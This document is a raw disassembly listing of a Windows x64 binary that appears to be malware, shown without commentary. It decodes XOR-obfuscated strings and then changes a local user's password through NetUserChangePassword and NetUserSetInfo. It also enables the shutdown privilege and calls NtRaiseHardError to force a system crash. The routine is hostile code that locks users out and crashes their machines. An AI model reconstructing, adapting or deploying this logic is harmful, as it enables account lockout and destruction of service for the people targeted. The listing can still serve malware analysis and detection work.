mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2a0], r15
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x2a0], r12
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x358], rax
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vxorps xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0x340], xmm2
vxorps xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x350], xmm0
lea rax, [rbp + 0x2c0]
vzeroupper
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140013750
mov r8, rbx
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x340]
call fcn.14001e710
nop
mov edx, 1
lea rcx, [rbp + 0x340]
call fcn.140009bd0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0xf
jbe 0x1400137c3
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400137be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d4b
call fcn.14004e370
movdqa xmm0, xmmword [0x14009b790]
movdqu xmmword [rbp + 0x350], xmm0
mov byte [rbp + 0x340], 0
call fcn.14001d990
lea rdx, [0x1400adfb0]
lea rcx, [rbp + 0x308]
call fcn.140016f80
mov rdx, rax
lea rcx, [0x1400b40b0]
call fcn.14000dfb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
movdqa xmm1, xmmword [0x14009b790]
movdqu xmmword [rbp + 0x318], xmm1
mov byte [rbp + 0x308], 0
cmp byte [0x1400b3fa8], 0
je 0x140013d51
lea rcx, [rbp + 0x340]
call fcn.140006410
nop
cmp qword [rbp + 0x350], 0
jne 0x1400138a7
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x2a8], 0
mov dword [rbp + 0x2a0], edi
lea r9, [rbp + 0x2a8]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movabs rax, 0x31dae9b0264b261
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x240], rax
movabs rax, 0x34cf7fa69307b74d
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x248], rax
movabs rax, 0xf35a73d011b3e168
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x250], rax
movabs rax, 0xf9f64b2f45661d5f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x258], rax
movabs rax, 0xa8ca5d1f821c67b2
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x260], rax
movabs rax, 0x86fb37a34701d3e0
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x268], rax
movabs rax, 0xd88a2854090a4354
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x270], rax
movabs rax, 0x6dc86c036637087f
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x278], rax
mov qword [rbp + 0x2a0], r13
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x280], rax
movabs rcx, 0x1c676cbc667d903a
mov qword [rbp + 0x2a0], rcx
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x2a0], r15
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x2a0], r12
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x2a0], rsi
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x378], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x380], rax
movabs rax, 0x869037c04774d386
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x388], rax
movabs rax, 0xd8ff283b0973430b
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x390], rax
movabs rax, 0x6dac6c6a665c0820
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x2a0], r13
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x2a0], rcx
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x3a8], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqa xmm0, xmmword [rbp + 0x280]
vxorps xmm0, xmm0, xmmword [rbp + 0x3a0]
vmovdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x2c0]
vzeroupper
call fcn.140016ab0
lea r9, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 7
cmova r9, qword [rbp + 0x2c0]
lea rdx, [rbp + 0x340]
cmp qword [rbp + 0x358], 7
cmova rdx, qword [rbp + 0x340]
lea r8, [0x1400999bc]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserChangePassword]
test eax, eax
je 0x140013bd4
cmp eax, 5
je 0x140013b76
cmp eax, 0x56
jne 0x140013bc9
lea rax, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 7
cmova rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x2a0], rax
lea rdx, [rbp + 0x340]
cmp qword [rbp + 0x358], 7
cmova rdx, qword [rbp + 0x340]
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x2a0]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
test eax, eax
je 0x140013bd4
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x2a8], 0
mov dword [rbp + 0x2a0], edi
lea r9, [rbp + 0x2a8]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 7
jbe 0x140013c70
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013c6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d59
call fcn.14004e370
movdqa xmm0, xmmword [0x14009b780]
movdqu xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2c0], di
mov rdx, qword [rbp + 0x358]
cmp rdx, 7
jbe 0x140013cd0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013cc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d5f
call fcn.14004e370
nop
nop
mov rdx, qword [rbp + 0x300]
cmp rdx, 0xf
jbe 0x140013d0d
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d3f
call fcn.14004e370
xor eax, eax
mov rcx, qword [rbp + 0x600]
xor rcx, rsp
call fcn.14004e350
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140065360
nop
call fcn.140065360
nop
call fcn.140065360
nop
xor ecx, ecx
call fcn.14005ccfc
nop
call fcn.140065360
nop
call fcn.140065360
int3